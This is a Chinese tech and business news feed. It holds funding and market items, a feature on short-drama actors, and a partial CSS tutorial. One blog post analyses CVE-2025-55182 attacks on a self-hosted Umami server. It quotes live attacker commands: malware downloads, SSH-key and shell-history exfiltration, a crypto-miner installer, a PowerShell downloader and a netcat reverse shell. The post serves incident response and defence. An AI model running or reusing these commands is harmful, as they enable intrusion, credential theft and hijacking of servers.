普通视图

发现新文章,点击刷新页面。
今天 — 2025年12月8日首页

全国统一大市场建设稳步推进,省际贸易销售额占比持续提升

2025年12月8日 12:30
国家税务总局发布的最新税收数据显示,今年以来全国统一大市场建设稳步推进,省际贸易销售额占全国销售收入的比重持续提升。发票数据显示,1—11月份,全国省际贸易销售额占全国销售收入的比重已达41.1%,较上年同期提高0.8个百分点,跨省异地销售的涉税经营主体户数占比超过50%,较上年同期提高1.2个百分点,跨省贸易额增长的省份数量由去年的19个增加至27个,反映了省际贸易联系在持续加深,全国统一大市场建设稳步推进。(央视新闻)

高宏斌接任中国钢研科技集团董事长

2025年12月8日 12:26
36氪获悉,爱企查App显示,近日,中国钢研科技集团有限公司发生工商变更,张少明卸任法定代表人、董事长,由高宏斌接任,注册资本由19亿元人民币增至46亿元人民币,同时,多位高管均发生变更。中国钢研科技集团有限公司成立于2000年3月,经营范围包括新材料、新工艺、新技术及其计算机应用、电气传动及仪器仪表集成系统的技术开发、转让、咨询、服务、工程承包、工程监理和设备成套等。股东信息显示,该公司由国务院国有资产监督管理委员会全资持股。

七天挣百万,短剧演员的改命之路|深氪lite

2025年12月8日 12:21

作者 | 兰杰

编辑 | 乔芊

11月25日的太原武宿机场,被人群围得水泄不通。

他们为了短剧平台红果的创作者大会而来。机场行李转盘处的十余块大屏上,是短剧演员王格格的应援海报——这里的广告只能一周起投,价格需要数万元;还有粉丝花费数千元换取一个进场名额,但这次活动其实根本没有开放售票。

一辆车身贴满演员张翅写真的红色大巴,从上午十点半到下午六点半一直在活动场外绕行。它是粉丝们豪气包下的,并不用于载客,只为了能让更多人看到车身上的演员。

王格格和张翅,是受邀参加红果创作者大会的数十位短剧演员中的两位。他们之中,如今最声名鹊起的是刘萧旭,他凭借9月上线、播放量突破40亿次的新晋爆款短剧《盛夏芬德拉》,成为短剧界顶流。主办方红果特意安排刘萧旭在红毯环节压轴出场。

相似的追星场景还出现在了11月初横店的微短剧之夜上。

将时间的指针往回拨三年,这幅景象是难以想象的。那时候,没有任何一个奖项、晚会或是长剧,会让短剧演员们成为主角。

主角们仿佛咸鱼翻身。有过爆款剧集傍身的短剧演员,日薪从数千元提升到了数万元,并且开始接数百万元的商务代言。长剧行业也开始向这些曾经并不在意的存在,抛出橄榄枝。

粉丝们也为之冲锋陷阵。《盛夏芬德拉》大热,作为另一位短剧顶流柯淳的忠实粉丝,浅夏在网上发现了大量拉踩的帖子,充满了“柯淳凉了”、“柯淳比不上刘萧旭”的论调。她的工作之一就是举报这些负评,同时发布好评。她所在控评群有近200人。

一位资深影视行业人士向36氪表示,如今短剧顶流的地位,与传统影视行业的二线乃至一线演员相当——相较于以往短剧与长剧乃至电影有“壁”的状态,破圈的爆款作品为短剧演员贡献了一块敲门砖,“把握住了又能抗流量,就可以成为一线演员。”

三年前,在强行“降智”的短剧时代,演员只是流水线上微不足道的人。直到好的剧本、角色和镜头语言出现,短剧演员才真正拥有了姓名,以及声名。

无人在意的短剧演员

历史总是惊人的相似。

1910年,电影已经开始受到华尔街资本的青睐,但演员在美国乃至世界的地位却很低,以至于有旅店公然悬挂"狗与演员不得入内"的告示。这种歧视性待遇迫使演员们拒绝在影片中署名,制片厂老板们乐见其成,因为这能有效遏制演员片酬的上涨。

但这些无法阻止观众们对于演员的喜爱,他们干脆用制片厂的名字给自己喜欢的演员命名,“维太格拉夫女郎”“比沃格拉夫女郎”等称号应运而生,弗洛伦斯·劳伦斯就是当时的“比沃格拉夫女郎”。

精明的美国电影制片人卡尔·莱姆勒由此嗅到了商机,这位深谙营销之道的策划者,先是炮制出弗洛伦斯“意外身亡”的虚假新闻,待舆论发酵后,又安排本尊现身辟谣。这场精心策划的“生死闹剧”成功引起了整个美国的关注,好莱坞首位真正意义上的明星就此诞生。

回看短剧明星崛起的过程,与电影行业颇有些相似之处。

2023年初,短剧行业的草莽之色还未褪去,靠着粗制滥造但足够爽的内容,创造了一个新的风口。

也是这一年,脱胎于番茄小说的红果短剧横空出世,凭借免费模式和大力出奇迹的投流手段,验证了字节模式的又一次成功。

有接近红果短剧的人士向36氪表示,番茄小说和红果短剧业务负责人张超的风格,是谋定而后动,他喜欢做那些被行业验证过的、成功的生意,短剧就是这样一门生意。为了抢夺用户,彼时的红果短剧团队成功申请下来了1000万元/天的消耗预算,不计亏损。

后来的故事已经行业皆知——番茄小说用了四年的时间,实现了近亿的日活和近2亿的月活,而红果短剧追上这一成绩的时间,不过一年多。

对比之下,2023年的电影市场还未从疫情的打击中恢复过来。长剧行业押注需要重金投入的S级剧集,却被短剧这一七天完成拍摄、月余就能回本的新事物,打了个措手不及。

演员刘博洋就是在那时候进入短剧行业的。

对于科班出身、有过传统影视拍摄经验的刘博洋来讲,那是一个落差极大的场景。

以往拍电视剧时往往有上百号人参加的开机仪式,在短剧这里变成了十几人,蛋糕、水果、幕布、红包和专业的拍摄设备都没有,只有两台单反相机孤零零地立在那里。一股巨大的恐慌感涌上他的心头,“我是不是在退步?”刘博洋如此想到。

开机仪式上的合照环节,摄影师大喊“3!2!1!”,刘博洋却第一时间低下头,他当时最怕的就是拍照,怕合照被发到朋友圈里后有熟悉的人认出来。

这还只是一个开始。“非常之离谱”,刘博洋回忆那时候的短剧剧情,他需要对女主扇巴掌、掐脖子,还要让女主给女二女三换肾换血。

到现场的第一天,他就向导演抗议,说这个本子不合理。导演回应他,“我也知道不合理,但没办法,这就是一个任务。”

无数任务落到剧组里,让刘博洋难以消化,也成就了行业的黄金时刻。

将节奏调到最快,以情绪为核心的短剧,在2023年创造了8天流水破亿的商业奇观,整个行业规模相较于去年同期膨胀了近3倍。

但那时候短剧的商业模式并不健康,80%-90%的收入要用来投流,制作方和发行方分剩下的为数不多的那部分,为了多挣点,大家只好尽可能压缩拍摄时间。

这背后是整个行业的过劳,包括演员。

从2020年毕业到2023年,刘博洋经历了整整三年无戏可拍的情况,进入到短剧行业之后,他不敢停下来,也不敢挑本子。

2023年年中,每天只能睡两三个小时的生活,刘博洋过了三个月。拍短剧之初,为了完成繁重的拍摄任务,他需要凌晨五点起床,拍到晚上快十点甚至半夜两点,回到酒店还要看剧本准备第二天的戏份。

那时候恰逢歌手李玟去世,他形容彼时的状态——极度疲惫之下,“脑子是空的,没有情绪,也没有任何欲望。”

同为演员的李婧也有类似的感受。她戏称,短剧演员是没有“拉屎自由”的——在拍摄现场,去厕所是需要请假的,久一些就会有人来催。怕耽误拍摄进程,她宁愿少吃点东西,尽量不在拍摄的时候上厕所,或者挤在十几分钟的吃饭时间里一起解决掉。

与这种繁忙、高产的状态形成对比的是,人们记得2023年充值过亿的短剧叫《无双》,但却记不住屏幕里做出夸张表情的演员们姓甚名谁,更重要的是下一个巴掌何时响起。

与传统娱乐圈普遍用老师互相称呼的情况不同,短剧拍摄现场更多是用女主、男主、女二、男二这样的称谓叫人。那时候短剧拍摄的时间太短,平均七天可以拍完一部,工作人员也在不停地换,演员可能要同时跑多个组,记住名字太难。

一位短剧编剧还告诉36氪,在短剧创作过程中,有着不成文的权力排序,除了离钱最近的投资方以外,编剧是最具有话语权的,因为付费时代每一个刺激用户拿钱的“钩子”都是编剧埋下的,演员则排在这个链条中的最末端。

但从2024年下半年到现在,一些情况正在改变。

 超级明星的诞生

在弗洛伦斯·劳伦斯的故事里,粉丝的喜爱是巨星诞生的起点,短剧行业也不例外。

11月初横店短剧活动的现场有过这样一幕——四五位从外地赶来、看起来已经五十余岁的中年女性,围守在短剧演员离场的通道出口,她们手捧大束鲜花,身旁还放着装满应援物料的行李箱。

黑车已经往返接送了五六批客人,她们依然耐心等待。当被问及喜欢的是哪位明星时,一位粉丝亮起的手机屏幕已经给出了答案。

数小时后,目标演员终于出现。她们开始大喊“乖乖”,无视保安的询问,灵活地绕进场内,将那位演员团团围住。

横店微短剧之夜散场后,几位中年女性与偶像正在合影,作者拍摄

作为短剧演员的白野,今年以来也有过被追的经历。

一开始,白野还以为是隔壁剧组相识的工作人员在叫她,但是穿过人群,她看见的是两个陌生的、打扮精致的女生。

这是两位从杭州到横店来探班的粉丝,她们一直安静地隐在人群中。直到白野结束了一场戏的拍摄,准备换场的时候,她们才开口叫“小野”,白野的昵称。

这些改变出现的过程中,有一个节点性的人物——柯淳(本名“赵柯淳”)。

2025年2月,春节刚刚在电影市场过于冷清的讨论声中结束,刘博洋正在剧组里拍戏,突然有人喊有部剧爆了,叫《好一个乖乖女》。没多久,组里的演员、摄影老师甚至是场务都开始讨论这部剧。

上线7天,《好一个乖乖女》总观看量突破10亿,主演柯淳的粉丝暴涨超150万,有关他的词条开始与传统影视明星一样频繁登上微博热搜。

浅夏去年9月就已经开始喜欢柯淳,但是在偶像爆火以后,她甚至挤不进粉丝群。

相较于传统影视明星多在微博上和粉丝互动,短剧明星和粉丝的大本营在抖音。今年2月以来,为了能获得一手资讯,浅夏曾连续三个月,几乎每天都在尝试进群。但有相同想法的人太多,上限1000人的抖音群,柯淳建了五六十个,浅夏一回都没申请成功过。最后她只好支付上千元的年费,进了付费群。

更引人注目的是,柯淳还像一位传统影视明星那样,获得了时尚杂志、长剧综艺乃至品牌方的认可。

今年以来,柯淳先后成为综艺《无限超越班》第三季的学员,担任了护肤品牌FunnyElves的“品牌挚友”,登上了《时装男士》的杂志封面,11月还进组了赛车题材长剧《炽夏》,在其中饰演男二号。

据业内人士估计,柯淳的片酬大概在数百万元左右,相当于他按照顶流短剧演员的片酬拍上数十部短剧的收入。

刘博洋如此形容看到短剧明星出现的感受,“挺替他高兴的,觉得拍短剧有希望了,我们这个行业的演员也是能被人看到的。”从前,他拍短剧只是为了生计,但现在,他希望可以成为这个行业的头部。

更远的未来,短剧演员们仍希望可以回到传统影视行业,那里承载着真正的明星梦,在那之前,更重要的是可以拿到好本子,拍出下一部爆款。

柯淳之前,不是没有过被记住名字的短剧演员。2023年7月,一部名为《哎呀,皇后娘娘来打工》的短剧上线,随后取得了累计充值流水超2亿元的成绩,也捧出了“短剧女王”徐艺真。

只是那时候,作为初代短剧“顶流”,徐艺真的飞升不过是日薪从数千涨到了数万元。直到柯淳的出现,一个具有综合商业价值的短剧明星才是真的诞生了。

柯淳与《好一个乖乖女》出现的时间也颇为巧妙。今年年初,正是短剧市场大盘从付费模式转向免费模式的节点。“《好一个乖乖女》证明了免费(短剧)的盘子足够大,也证明了短剧演员可以破圈。”一位从业者如此表示。

追溯这些剧变的原点,监管是一个绕不开的原因。

2023年年底以来,广电总局针对短剧中存在的问题出台了一系列管理政策,粗制滥造的内容逐渐成为历史,行业开始向精品化转型。精品短剧保留了长剧难以企及的情绪密度,同时补上了剧情的短板,成为可以承载用户们复杂情感的产品。

在这一过程中,行业开始寻求更专业的演员和更完整的人物塑造。

头部短剧厂牌听花岛负责人在分享会中表示,今年以来短剧的趋势之一,就是剧中的角色从工具人变成了人物,“我们最重要的使命是塑造人物”。

与此同时���以红果短剧为代表的免费模式降低了受众观看门槛,短剧的用户规模仍在上涨。根据QuestMobile的数据显示,截至今年9月,红果月活达到2.36亿,正式超越B站和优酷。

当基本盘足够大,大浪淘沙之下,能脱颖而出的是足够好的作品、角色和演员。

抢人大战开始了

拥有了流量的演员们,开始拥有话语权。

对于短剧演员来说,谋求更好的职业发展,会去拍长剧;想要更多的流量,会选择红果自制剧。如此一来,短剧公司们想要约到合适演员的档期,变得越来越难。

一位短剧行业的从业者向36氪表示,他们8月筹拍的一部短剧,合适演员的档期已经排到了明年。即便是非头部的演员,都需要提前两三个月预约。以至于现在短剧行业内普遍存在的情况是,没有自己的演员,就开不了新剧。

专业素质好且自带流量的演员,对于短剧公司来讲也越来越重要。

与精品化趋势一起到来的是抬升的成本,和仍旧难以捉摸的爆款定律。想要花费了上百万元的精品短剧不扑街,短剧明星成为了诸多不确定性中的确定性。

“观众消费情绪,来得快去得也快,但是他消费一个角色,会持续更久,对应的产品也更有价值。”艺粲传媒的CEO加菲向36氪表示 。

如今许多剧组发通告,会直接要求短剧演员自身的粉丝数量,尤其是红果平台上的。更不必提,短剧明星的商业价值也已经得到了验证。

一位“卖粉丝”商家的朋友圈,受访者供图

于是,行业内的抢人大战拉开了序幕。

河马星驰艺人经纪负责人春子找上刘博洋的时候,已经是今年7月,那时候最头部的短剧演员已经被抢完了。

签下刘博洋,本是志在必得的事情,因为前者拍过多部河马星驰的短剧,与公司的合作由来已久。

但谈判期间,刘博洋突然告知春子,还有十几家行业头部的短剧公司和MCN机构找上来,询问他的签约意愿——位于行业中腰部的演员,也炙手可热。

听完后,春子心里“咯噔”一下,但他很快冷静下来,明白这是一场必须要面对的竞争。

一周的时间,春子和刘博洋打了四通电话,最后一次终于把签约的事情敲定。怕生出变故,确认签约的第二天,春子就把连夜修改好的合同发了过去,给出了几乎是行业内最好的条件,还将原本承诺的个人IP宣传提前了半个多月。

李婧也同样感受到了这场抢人大战的激烈。从今年年初到现在,陆续有近二十家公司和个人找上来,想和她签约。就在和36氪沟通的过程中,李婧也小红书个人账号上还收到了一条私信,询问她是否有合作意愿。

有一次几乎要谈成了,两人电话聊了一个多小时,但最后还是没能达成一致,“对方甚至连我面都没见过,就说要线上签约。”这让李婧也心中警铃大作。

麦芽传媒的短剧经纪负责人琴声声向36氪表示,那时候行业里很多公司为了抢到人,甚至会“画饼”,许诺自己根本做不到的条件,“总之先想办法和这个人绑定。”

那时候她去聊演员的时候,对方会表示:我不缺戏、不缺资源,更不缺想和我签约的公司。

拥有庞大流量的红果短剧,还在加速这一进程。

今年9月,红果自制推出了针对短剧演员运营机构和演员的分账激励政策。11月20日,官方首次对外公布了详细的演员分账数据——有三位短剧演员分账超百万元。

红果通过高额分账拉拢演员、编剧等创作端的人才以服务自制内容,本质上是因为不想只赚平台这一份钱,而是瞄准了整条产业链。这条路径早在番茄小说崛起的过程中,就已经走过一遍。据接近字节人士消息,如今后者的内容供给中,原创占比已经达到了85%。

即便签约了公司,短剧演员仍可以选择拍摄外部的项目,此时红果短剧抛出了诱人的分账,让行业本就不富裕的演员产能更加紧张,片方们都绷紧了神经。

对此听花岛负责人表示,现在行业内S+级别的演员,与红果短剧的分账比例可以达到18%,A和A+级演员,分账比例在5%-10%之间。按照这样的比例,头部短剧演员可以像拍长剧那样轻松拿到百万片酬,也会更倾向于将有限的时间贡献给红果自制的项目,而非自家公司剧集。“让人崩溃,制作公司成了给演员打工的。”

但为了有剧可拍,没有公司可以避开布局经纪业务的大势。

新的爆款,新的希望

各大短剧厂牌还在积极布局经纪业务时,新的超级明星又出现了。

9月,《盛夏芬德拉》创下了最快破30亿播放量的记录。

30亿播放量意味着什么?以《盛夏芬德拉》82集的体量计算,其集均播放量高达3659万,足以与长剧领域的头部作品并肩。根据云合数据信息,9月上新的长剧集中,《盛夏芬德拉》的集均播放量仅次于爆剧《许我耀眼》,大幅领先位列TOP2的《沉默的荣耀》。

这是又一部精品短剧,光成本就有约200万元,成功塑造了隐忍、克制又深情的周晟安一角。饰演者刘萧旭的人气也随之飙升,社交媒体账号涨粉超百万,还在机场遭到了粉丝的围堵。另据业内人士消息,红果曾为这部短剧追加了200多万元的宣发。

爆剧《盛夏芬德拉》,红果App截图

一个新的流量神话又诞生了,随之而来的是扑面的财富机会。

刘萧旭所属的公司是艺粲传媒,其CEO加菲与36氪交流时,穿着半小时前刚从优衣库买的羽绒服,一脸疲惫——10月底的北京已经很冷,但他前一天晚上才从成都飞过来,一天要见上五个人。

剧火了之后,找上艺粲传媒洽谈的商务数量有几百个,包含了美妆、个护和饮料等品类。甚至还有一个新兴的汽车品牌。但对方要求的档期和刘萧旭进组的时间撞了,还是推掉了。

期间加菲还拒绝了不少销售属性重的商务邀约,“感觉不太符合老刘的气质,不想什么钱都挣。”

相较于从“草根”状态出来的柯淳,刘萧旭成名的背后,有一套成熟的运营体系。

加菲告诉36氪,过去一年间,刘萧旭的背后,有一个专门的运营团队,包含编导、拍摄、剪辑、账号运营和粉丝运营共计五人。包括人员成本在内,公司过去一年间在刘萧旭身上的投入,迄今没能回本。

艺粲传媒在短剧经纪上走的是“小而精”的路线,在今年4月正式成立之后,签约的演员还未超过十人,新签下的两人还是刘萧旭上一部爆剧《幸得相遇离婚时》的男二和女二。

这在其他公司是难以想象的。大多数短剧公司的经纪业务更贴近中台性质——让十余人的团队一起服务数十个艺人。

加菲本人也有着丰富的IP创作和运营经验。早在2016年,他就做出了全网粉丝量达1.5亿的IP——“一禅小和尚”。这让他在运营刘萧旭这一IP时,很得心应手。

一年前,刘萧旭参演的《深情诱引》上线,只出场了五分钟,却受到很多观众的好评。加菲敏锐地捕捉到这一点,在短剧上线的第二天就亲自下场做了一个角色混剪视频,发在了公司和刘萧旭的个人账号上,积累了第一批“原始股”粉丝。

接下来的一整年,加菲及其团队都在围绕这一角色更新小剧场,主打“人夫感”,这也是周晟安(剧中角色)与刘萧旭本人共通的特质。加菲精准地意识到了这一点,“从内核上来讲,他就是一个很传统的山东男人,那种克己复礼的感觉是流淌出来的。”

因为这一整年的铺垫,粉丝们在《盛夏芬德拉》出来之后,对演员和角色的情绪到达了一个峰值,也捧出了又一颗新星。

刘萧旭爆红的背后,也让已经走出草莽时代的短剧行业,不再等待幸运与奇迹的降临。公司们期望可以摸清流量的规律,创造出下一颗短剧新星。

11月初的微博视界大会上,走上红毯的有杨幂、王鹤棣等知名明星,以及柯淳、余茵以及艺粲传媒旗下的王格格等短剧顶流。加菲为她请来了数万元一天的明星化妆师和摄影师,“很贵,但是格格值得!”

河马星驰则为刘博洋打出了“短剧渣男第一人”的称号,因为过去他扮演的许多角色都是“追妻火葬场”类型。刘博洋本身是一个相对谨慎的人,但他还是同意了这一冒险的宣传策略,因为比风险更可怕的是,在一众“霸总”里没有差异化和辨识度。

仍有一些阴影盘踞在这些闪耀明星的头顶。

短剧明星的更新迭代极快,不过一年多的时间,初代短剧顶流徐艺珍、孙樾等已经淡出观众视野。红果App上演员热度榜单的前十名,也几乎是月月更新。

还有多位短剧行业的从业者和观众向36氪提及,相较于传统影视圈人设靠包装、日薪达百万的明星们,短剧明星具有的竞争力是更接地气,只是这一优势伴随着行业造星的趋势也在减弱。

但在真正的危机到来之前,这些“微不足道”的波折并不影响大家期待“下一个柯淳”、“下一个刘萧旭”的诞生。

曾经灰暗的日子已经被抛到了脑后。

刘博洋笑着分享了一个小故事——一位同行曾经带着恶意询问他:“怎么拍起了短剧?”如今对方问的是:“还有机会进来吗?”

(应受访者需求,浅夏、春子、加菲为化名。)

React RCE 漏洞影响自建 Umami 服务 —— 记 CVE-2025-55182

作者 cos
2025年12月8日 12:20

本文地址:blog.cosine.ren/post/react-…

我对安全方面的知识很少,本文大部分可能有很多错漏,如有错漏希望能指出。

2025 年 12 月 3 日,React 发布了一个堪比当年 Log4j 的严重安全漏洞:CVE-2025-55182,CVSS 评分 10.0 满分

这是 React 历史上最严重的漏洞之一,允许未经身份验证的远程代码执行(Unauthenticated RCE)。

刚收到安全通告,我就马上更新了所有已知的 Next.js 和 React 应用,以为这些应该没事儿了。

结果今天突然发现自建的 Umami 服务 504 了才想起来,沃日,它是 Nextjs 写的啊!!

虽然是在 docker 里跑的,并且炸的是我一个不常用的服务器,最大的损失是 CPU 占用率突然飙到 100% 了一段时间,统计数据丢了不少,密码什么的都是随机生成的,换就好了。

随便找了一篇博客看看别人的情况:

juejin.cn/post/758037…

解决方案

先把最终的解决方案放到最前面。

升级 Umami,首先使用 pg_dump 备份 Umami 的 PostgreSQL 数据库。这里有几种方法:

# 备份到当前目录
docker exec umami-db-1 pg_dump -U umami umami > umami_backup_$(date +%Y%m%d_%H%M%S).sql

# 或者备份到指定目录
docker exec umami-db-1 pg_dump -U umami umami > ~/backups/umami_$(date +%Y%m%d).sql

然后,因为我是 docker-compose 部署的,直接:

docker compose pull
docker compose up --force-recreate -d

就可以了,查看容器日志中的 Next.js 已经是 15.5.7 版本。

如果你数据库使用的是 mysql 的话,那不要升 3,看官方的迁移教程

docs.umami.is/docs/guides…

漏洞背景

www.cve.org/CVERecord?i…

  • CVE 编号: CVE-2025-55182
  • CVSS 评分: 10.0 / 10.0(Critical)
  • 漏洞类型: 未经身份验证的远程代码执行(Unauthenticated RCE)
  • 披露时间: 2025 年 12 月 3 日
  • 官方公告: React Blog

受影响的版本

React 核心包(19.x 版本):

19.0, 19.1.0, 19.1.1 和 19.2.0

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

受影响的框架:

  • Next.js: 14.3.0-canary.77 及之后的版本,15.x, 16.x 全都需要升到最新版本
  • React Router: 使用 unstable RSC APIs 的版本
  • Waku: 使用 RSC 的版本
  • Expo: 使用 RSC 的版本
  • Redwood SDK: < 1.0.0-alpha.0

漏洞原理

React Server Functions 允许客户端调用服务器上的函数。React 将客户端请求转换为 HTTP 请求发送到服务器,在服务器端 React 再将 HTTP 请求反序列化为函数调用。

关键问题:攻击者可以构造恶意的 HTTP 请求到任何 React Server Function 端点,当 React 反序列化这些 payload 时,会触发任意代码执行

// 简化的漏洞示意(实际更复杂)
// 服务器端的 React Server Function 处理
function handleServerFunctionRequest(payload) {
  // ❌ 危险:直接反序列化未验证的 payload
  const deserializedData = deserialize(payload);

  // 如果 payload 被精心构造,这里可能执行任意代码
  return executeFunction(deserializedData);
}

关键威胁

  • 无需身份验证(Unauthenticated)
  • 远程代码执行(RCE)
  • 即使没有定义任何 Server Function,只要使用了 React Server Components 就有风险

攻击手段

既然攻击都已经攻击了,那不如趁机让 AI 分析容器日志,借此机会深入分析一下攻击者到底想干什么。

以下攻击手段汇总等,全为 Claude Sonnet 4.5 根据日志文件进行分析得出的总结,如有错漏,还请指出。

攻击入口:React Server Components RCE

从日志中可以看到大量的 NEXT_REDIRECT 错误:

 ⨯ Error: NEXT_REDIRECT
    at Object.eval [as then] (node_modules/next/dist/compiled/next-server/app-page.runtime.prod.js:92:34014) {
  digest: '12334\nMEOWWWWWWWWW'
}

这是漏洞利用的标志性特征

  • digest: '12334\nMEOWWWWWWWWW' - 这不是正常的错误摘要
  • 攻击者通过构造恶意 payload 触发 React Server Components 的反序列化漏洞
  • 每次 NEXT_REDIRECT 错误后都跟着一系列的系统命令执行尝试

漏洞利用与初始访问

攻击者首先利用 CVE-2025-55182 获得代码执行能力,然后立即尝试下载后门程序:

Connecting to 193.34.213.150 (193.34.213.150:80)
wget: can't open 'x86': Permission denied
chmod: x86: No such file or directory
/bin/sh: ./x86: not found

攻击流程

  1. 向 React Server Function 端点发送恶意 payload
  2. 触发反序列化漏洞,执行 wget 命令
  3. 尝试从 C&C 服务器下载 x86 恶意程序(一个 Linux ELF 二进制文件)
  4. 尝试赋予执行权限并运行

如果成功会怎样?

# 攻击者想做的事情(被阻止了)
wget http://193.34.213.150/x86
chmod +x x86
./x86  # 这会安装一个后门程序

凭证窃取

攻击者想要窃取所有有价值的凭证:

# 尝试 1:窃取 SSH 私钥
Connecting to 23.19.231.97:36169 (23.19.231.97:36169)
wget: can't open '/root/.ssh/id_rsa': Permission denied
wget --post-file=/root/.ssh/id_rsa http://23.19.231.97:36169/222

# 尝试 2:窃取 ECDSA 私钥
wget --post-file=/root/.ssh/id_ecdsa http://23.19.231.97:47023/222

# 尝试 3:窃取命令历史(可能包含密码)
cat: can't open '/root/.bash_history': Permission denied
wget --post-data="$(cat /root/.bash_history)" http://23.19.231.97:44719/222

这是整个攻击中最恶毒的部分

  • SSH 私钥可以让攻击者横向移动到其他服务器
  • .bash_history 可能包含:
    • 数据库密码
    • API 密钥
    • 云服务凭证(AWS、GCP 等)
    • 内部系统地址

持久化后门

攻击者尝试建立多个后门以保持访问:

# 伪装成健康检查脚本
sh: can't create /dev/health.sh: Permission denied
chmod: /dev/health.sh: No such file or directory

# 尝试从多个源下载恶意脚本
(curl -s -k https://repositorylinux.xyz/cron.sh || \
 wget --no-check-certificate -q -O- https://repositorylinux.xyz/cron.sh) | bash

# Windows PowerShell 编码命令(自动化脚本)
powershell -EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAC4ALgAu

解码 PowerShell 命令

# Base64 解码后的内容
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://repositorylinux.xyz/script_kill.ps1')

这是一个跨平台攻击:同时尝试 Linux (bash) 和 Windows (PowerShell) 命令。

加密货币挖矿

最耗资源的部分 - 这就是 CPU 飙到 100% 的原因:

# C3Pool 挖矿池安装脚本
curl -sLk https://gist.githubusercontent.com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner.sh | \
bash -s 49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKkXERKUB7pXqBHfK1CcjLtMMnTF3J12KZJ83EQCBjT75Stbv

# XMRig Monero 挖矿程序
powershell -EncodedCommand [Base64 encoded mining script]

挖矿攻击特征

  • 钱包地址:49Cf4UaH5mVF2QCBRECpwSWV1C6hPgVWC8vZZkjgjjdYegZKk...(Monero)
  • 矿池:C3Pool
  • 这会消耗所有 CPU 资源,导致:- 服务响应缓慢 - 服务器宕机 - 云服务账单暴增 (还好是自己服务器)

反向 Shell

尝试建立远程控制:

rm: can't remove '/tmp/f': No such file or directory
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 171.252.32.135 7700 >/tmp/f

反向 Shell 技术分析

# 这是一个经典的命名管道反向 shell
mkfifo /tmp/f              # 创建命名管道
cat /tmp/f | bash -i 2>&1  # 从管道读取命令并执行
| nc 171.252.32.135 7700   # 通过 netcat 连接到 C&C 服务器
>/tmp/f                    # 将输出写回管道

如果成功,攻击者就可以:

  • 实时控制服务器
  • 执行任意命令
  • 窃取实时数据
  • 作为跳板攻击内网

攻击指标(IoC)汇总

类型 用途
恶意 IP 193.34.213.150 恶意软件分发
恶意 IP 23.19.231.97 数据窃取服务器
恶意 IP 89.144.31.18 备用恶意服务器
恶意 IP 171.252.32.135 反向 Shell C2
恶意域名 repositorylinux.xyz 脚本分发
恶意域名 dashboard.checkstauts.site 监控代理
GitHub Gist demonic-agents/39e943f4... 挖矿脚本

恶意 IP 地址

IP 地址 用途 威胁等级
193.34.213.150 恶意软件分发(x86 二进制文件) 🔴 Critical
23.19.231.97 数据窃取服务器(SSH 密钥、历史记录) 🔴 Critical
89.144.31.18 备用恶意服务器 🟠 High
171.252.32.135 反向 Shell C&C 服务器 🔴 Critical

恶意域名

域名 用途 威胁等级
repositorylinux.xyz 恶意脚本分发(cron.sh, linux.sh, firewall.sh) 🔴 Critical
dashboard.checkstauts.site 监控代理/数据收集 🟠 High

恶意资源

资源 类型 用途
github.com/demonic-agents/39e943f4... GitHub Gist C3Pool 挖矿脚本
49Cf4UaH5mVF2QCBRECpwSWV1C6h... Monero 钱包 挖矿收益地址

为什么所有攻击都失败了?

因为还好是 Docker 跑的,Docker 容器权限隔离,我的 Umami 容器:

  • 非 root 用户运行,无法写入系统目录
  • 只读文件系统,无法创建恶意文件
  • 丢弃所有 Linux Capabilities
  • 禁止提权操作
Permission denied (重复 100+ 次)

几乎所有攻击操作都遇到了权限拒绝:

  • 无法写入 /root/.ssh/
  • 无法在 /dev/ 创建文件
  • 无法在 /tmp/ 创建管道
  • 无法执行下载的二进制文件
/bin/sh: bash: not found
/bin/sh: powershell: not found
spawn calc.exe ENOENT

容器是最小化镜像,不包含 bash,这导致许多攻击脚本无法执行。

参考资料

“鹿明机器人”完成Pre-A1和Pre-A2轮融资

2025年12月8日 12:20
36氪获悉,Lumos Robotics鹿明机器人完成Pre-A1和Pre-A2两轮融资,金额数亿元。其中,Pre-A1轮由鼎晖投资领投,南京创投、金景资本、金固股份跟投,Pre-A2轮由申能诚毅投资。本轮融资将用于公司在具身智能数据和硬件领域的持续投入。

特朗普拟宣布120亿美元援助计划支持农户

2025年12月8日 12:20
一位白宫官员透露,特朗普政府计划于周一公布备受期待的农业援助方案,提供120亿美元资金,帮助因农作物价格低迷和总统关税政策而遭受重创的关键支持群体。因信息尚未公开而不愿具名的这位官员称,援助将包括根据农业部新设计的“农户桥援助计划”向农作物种植户一次性支付高达110亿美元款项,其余部分将用于该计划未涵盖的农作物。该官员表示,美国总统唐纳德·特朗普计划在与农户的联合活动上宣布该方案。(新浪财经)

Antero Resources据悉就收购HG Energy接近达成协议

2025年12月8日 12:16
知情人士透露,Antero Resources正在就收购页岩气生产商HG Energy进行深入谈判,这项交易将有助扩大该公司的天然气储备。因讨论非公开消息而要求匿名的知情人士表示,最快可能周一宣布这项交易。知情人士称,收购HG Energy的交易金额在数十亿美元级别。HG Energy的母公司为Quantum Energy Partners。(新浪财经)

“演生潮”完成A轮融资数亿元

2025年12月8日 12:04
36氪获悉,“演生潮”成功完成数亿元人民币A轮融资。本轮融资由凯辉基金独家领投、国开科创等投资机构跟投,老股东启明创投持续四轮支持。本轮募集资金将主要用于支持核心管线YSC001的临床开发、YSC002的临床前开发,YSC003/YSC004的早期验证工作,并进一步拓展公司的国际化战略布局,深化与顶级跨国药企的业务发展合作。

恒指午间休盘跌1.1%,恒生科技指数跌0.24%

2025年12月8日 12:02
36氪获悉,恒指午间休盘跌1.1%,恒生科技指数跌0.24%;消费、煤炭、医疗设备领跌,银诺医药跌超13%,中国秦发跌超12%,泡泡玛特跌超8%,半导体、非银金融、电气设备板块涨幅居前,天域半导体涨超11%,天臣控股涨超10%,弘业期货涨超7%;南向资金净流出2847.39万港元。

css及js实现正反面翻转

作者 加油乐
2025年12月8日 11:55

一、两种翻转方式:

结构

<div class="card">
<div class="front">正面</div>
<div class="back">背面</div>
</div>
<button class="flip">翻转</button>

鼠标悬停:通过CSS的:hover伪类实现

  1. transform-style: preserve-3d:这是3D变换的关键,确保子元素在3D空间中变换,而不是被压扁到2D平面
